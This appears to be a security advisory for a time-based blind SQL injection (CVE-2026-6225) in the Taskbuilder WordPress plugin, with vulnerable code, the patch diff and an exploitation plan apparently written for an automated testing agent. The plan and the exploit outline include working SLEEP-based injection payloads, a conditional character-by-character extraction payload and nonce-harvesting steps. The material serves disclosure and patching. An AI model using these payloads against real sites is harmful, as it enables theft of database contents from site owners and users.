Taskbuilder – Project Management & Task Management Tool With Kanban Board <= 5.0.6 - Authenticated (Subscriber+) Time-Based Blind SQL Injection via 'project_search' Parameter
Description
The Taskbuilder – Project Management & Task Management Tool With Kanban Board plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'project_search' parameter in all versions up to, and including, 5.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.0.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6225 ## 1. Vulnerability Summary The Taskbuilder plugin for WordPress (versions <= 5.0.6) is vulnerable to a time-based blind SQL injection via the `project_search` parameter. This occurs because the plugin uses `sanitize_text_field()` on user input, which re…
Show full research plan
Exploitation Research Plan - CVE-2026-6225
1. Vulnerability Summary
The Taskbuilder plugin for WordPress (versions <= 5.0.6) is vulnerable to a time-based blind SQL injection via the project_search parameter. This occurs because the plugin uses sanitize_text_field() on user input, which removes HTML tags but does not escape single quotes. Furthermore, the plugin uses $wpdb->esc_like() which only escapes SQL LIKE wildcards (% and _) but not the single quote character. This processed input is then directly concatenated into a raw SQL query string instead of being properly parameterized using $wpdb->prepare().
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wppm_get_project_list(inferred from plugin architecture) - Vulnerable Parameter:
project_search - Authentication Level: Authenticated (Subscriber+)
- Preconditions:
- The attacker must be logged in as a Subscriber or higher.
- The AJAX action
wppm_get_project_listmust be accessible.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwith the actionwppm_get_project_list. - Registration: The action is registered in
includes/wppm_actions.php(inferred) which includesincludes/admin/projects/projects_list.php. - Parameter Extraction (
includes/admin/projects/projects_list.php):- Line 18:
$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : ''; - Line 43:
$search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : $pl_filters_arr['search'];
- Line 18:
- Unsafe Preparation:
- Line 96:
$search_tag_text = '%'.$wpdb->esc_like($search_tag).'%';
- Line 96:
- SQL Sink:
- Line 100: A query string is built:
$query = ("... AND (user.display_name LIKE '$search_tag_text') ..."); - Line 109: A
$whereclause is built:$where = " where ... AND (Project.project_name LIKE '$search_tag_text' ... )"; - The
$search_tag_textis placed inside single quotes but is not escaped for SQL syntax.
- Line 100: A query string is built:
4. Nonce Acquisition Strategy
The Taskbuilder plugin typically secures its AJAX actions with a nonce localized in the frontend.
- Shortcode Identification: The
readme.txtidentifies[wppm_projects]as the shortcode for managing projects from the frontend. - Page Creation: Use WP-CLI to create a page containing this shortcode:
wp post create --post_type=page --post_title="Projects" --post_status=publish --post_content='[wppm_projects]' --post_author=1 - Navigation: Navigate to the newly created page as a Subscriber user.
- Nonce Extraction: The plugin enqueues scripts and localizes data. Based on common patterns in this plugin, the localization variable is
wppm_project_list_obj.- Use
browser_evalto extract the nonce:window.wppm_project_list_obj?.wppm_nonce
- Use
5. Exploitation Strategy
We will perform a time-based blind SQL injection using the SLEEP() function.
- Request Tool:
http_request(Playwright) - Method:
POST - URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Cookies]
- Payload Construction:
- The target SQL fragment is:
LIKE '%[INPUT]%' - Payload:
') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1 - Resulting SQL:
LIKE '%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1%'
- The target SQL fragment is:
- Parameters:
action:wppm_get_project_listproject_search:') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1wppm_nonce:[EXTRACTED_NONCE]is_frontend:1(triggers the frontend filter logic at Line 87)
6. Test Data Setup
- User Creation: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Plugin Setup: Ensure Taskbuilder is active.
- Content Setup:
- Create a dummy project so the list query returns data.
- Create the "Projects" page with the shortcode for nonce extraction.
wp post create --post_type=page --post_title="Projects" --post_status=publish --post_content='[wppm_projects]'
7. Expected Results
- A "Normal" request (without payload) should return quickly (e.g., < 500ms).
- The "Malicious" request containing
SLEEP(5)should take approximately 5 seconds longer than the normal request. - The response body will likely be a JSON list of projects, which is irrelevant to the time-based verification.
8. Verification Steps
- Time Difference: Compare the
time_totalfrom thehttp_requestresponse for the payload vs a control request. - Data Extraction (Proof of Concept): To verify data can be extracted, use a conditional sleep to check the first character of the database name:
') AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)))a) AND ('1'='1 - Database Consistency: Use WP-CLI to verify the database prefix matches expectations if needed:
wp db query "SELECT database()"
9. Alternative Approaches
If wppm_get_project_list is not the correct action name (inferred), audit the includes/wppm_actions.php file for any add_action('wp_ajax_...') that calls a function including projects_list.php.
If the LIKE clause structure differs slightly, adjust the number of closing parentheses or leading single quotes in the payload.
If is_frontend is not required, omit it. The vulnerable code path exists as long as !empty($search_tag) is true at Line 97.
Summary
The Taskbuilder plugin for WordPress is vulnerable to time-based blind SQL Injection due to the 'project_search' parameter being concatenated directly into SQL queries without proper escaping or parameterization. Authenticated attackers with Subscriber-level permissions or higher can exploit this to systematically extract sensitive data from the database by observing response delays induced by injected SLEEP() commands.
Vulnerable Code
// includes/admin/projects/projects_list.php // Line 14: Extraction and insufficient sanitization $search_tag = isset($_POST['project_search']) ? sanitize_text_field($_POST['project_search']) : ''; // --- // Line 111: Unsafe preparation that only escapes LIKE wildcards, not single quotes $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%'; if(!empty($search_tag)){ $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%'; $query = ("SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text') Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id "); if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){ $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))"; }else{ $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')"; }
Security Fix
@@ -96,43 +96,81 @@ $wppm_pl_filter .= " AND status != '$status'"; } } -$wppm_project_time = get_option('wppm_project_time'); $wppm_default_project_date = get_option('wppm_default_project_date'); $sort_by = apply_filters('wppm_project_list_sort_by_query',$sort_by); $order = apply_filters('wppm_project_list_order_query',$order); $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%'; -if(!empty($search_tag)){ - $search_tag_text = '%'.$wpdb->esc_like($search_tag).'%'; - $query = ("SELECT Project.* - FROM {$wpdb->prefix}wppm_project AS Project - Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id - Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id - Left join {$wpdb->base_prefix}users user ON (FIND_IN_SET(user.ID,Project.users)>0) AND (user.display_name LIKE '$search_tag_text') - Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id - "); - if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){ - $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text'))"; - }else{ - $where = " where $wppm_pl_filter AND (Project.project_name LIKE '$search_tag_text' OR proj_statuses.name LIKE '$search_tag_text' OR proj_categories.name LIKE '$search_tag_text' OR ( user.display_name LIKE '$search_tag_text')) AND ((FIND_IN_SET('$current_user->ID',Project.users)>0) OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1) OR Project.created_by='$cu_id')"; - } -}else{ - if($sort_by=='project_name'|| $sort_by=='start_date' || $sort_by=='end_date'){ - $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project - Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id - "); - } else{ - $query = ( "SELECT Project.* FROM {$wpdb->prefix}wppm_project AS Project - Left join {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id - Left join {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id - Left join {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id - "); - } - if($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin'){ - $where = " where $wppm_pl_filter"; - }else{ - $where = " where ($wppm_pl_filter AND (FIND_IN_SET('$current_user->ID',Project.users)>0 OR (Project.id = proj_meta.project_id AND proj_meta.meta_key='public_project' AND proj_meta.meta_value=1)) OR Project.created_by='$cu_id')"; - } +if (!empty($search_tag)) { + $search_tag_text = '%' . $wpdb->esc_like($search_tag) . '%'; + $query = "SELECT Project.* + FROM {$wpdb->prefix}wppm_project AS Project + LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id + LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id + LEFT JOIN {$wpdb->base_prefix}users user ON FIND_IN_SET(user.ID, Project.users) > 0 + LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id"; + // SAFE search condition + $search_sql = $wpdb->prepare( + "(Project.project_name LIKE %s + OR proj_statuses.name LIKE %s + OR proj_categories.name LIKE %s + OR user.display_name LIKE %s)", + $search_tag_text, + $search_tag_text, + $search_tag_text, + $search_tag_text + ); + if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') { + // ✅ Admin (safe) + $where = " WHERE $wppm_pl_filter AND $search_sql"; + } else { + // ✅ Non-admin (safe) + $where = $wpdb->prepare( + " WHERE $wppm_pl_filter + AND $search_sql + AND ( + FIND_IN_SET(%d, Project.users) > 0 + OR ( + proj_meta.meta_key = 'public_project' + AND proj_meta.meta_value = 1 + ) + OR Project.created_by = %d + )", + $current_user->ID, + $cu_id + ); + } +} else { + if ($sort_by == 'project_name' || $sort_by == 'start_date' || $sort_by == 'end_date') { + $query = "SELECT Project.* + FROM {$wpdb->prefix}wppm_project AS Project + LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id"; + } else { + $query = "SELECT Project.* + FROM {$wpdb->prefix}wppm_project AS Project + LEFT JOIN {$wpdb->prefix}wppm_project_statuses proj_statuses ON Project.status = proj_statuses.id + LEFT JOIN {$wpdb->prefix}wppm_project_categories proj_categories ON Project.cat_id = proj_categories.id + LEFT JOIN {$wpdb->prefix}wppm_project_meta proj_meta ON Project.id = proj_meta.project_id"; + } + if ($current_user->has_cap('manage_options') || $wppm_current_user_capability == 'wppm_admin') { + $where = " WHERE $wppm_pl_filter"; + } else { + $where = $wpdb->prepare( + " WHERE ( + $wppm_pl_filter + AND ( + FIND_IN_SET(%d, Project.users) > 0 + OR ( + proj_meta.meta_key = 'public_project' + AND proj_meta.meta_value = 1 + ) + ) + OR Project.created_by = %d + )", + $current_user->ID, + $cu_id + ); + } }
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with a Subscriber account and obtains a valid security nonce from the project management frontend page (rendered via the [wppm_projects] shortcode). The attacker then makes a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'wppm_get_project_list'. The 'project_search' parameter is populated with a time-based SQL injection payload, such as ') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1. Because the plugin uses sanitize_text_field() and esc_like() on the input—neither of which handles single quotes—the payload breaks out of the intended SQL LIKE clause. By measuring the server's response time, the attacker can confirm the vulnerability and use conditional SLEEP() logic to exfiltrate database contents character by character.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.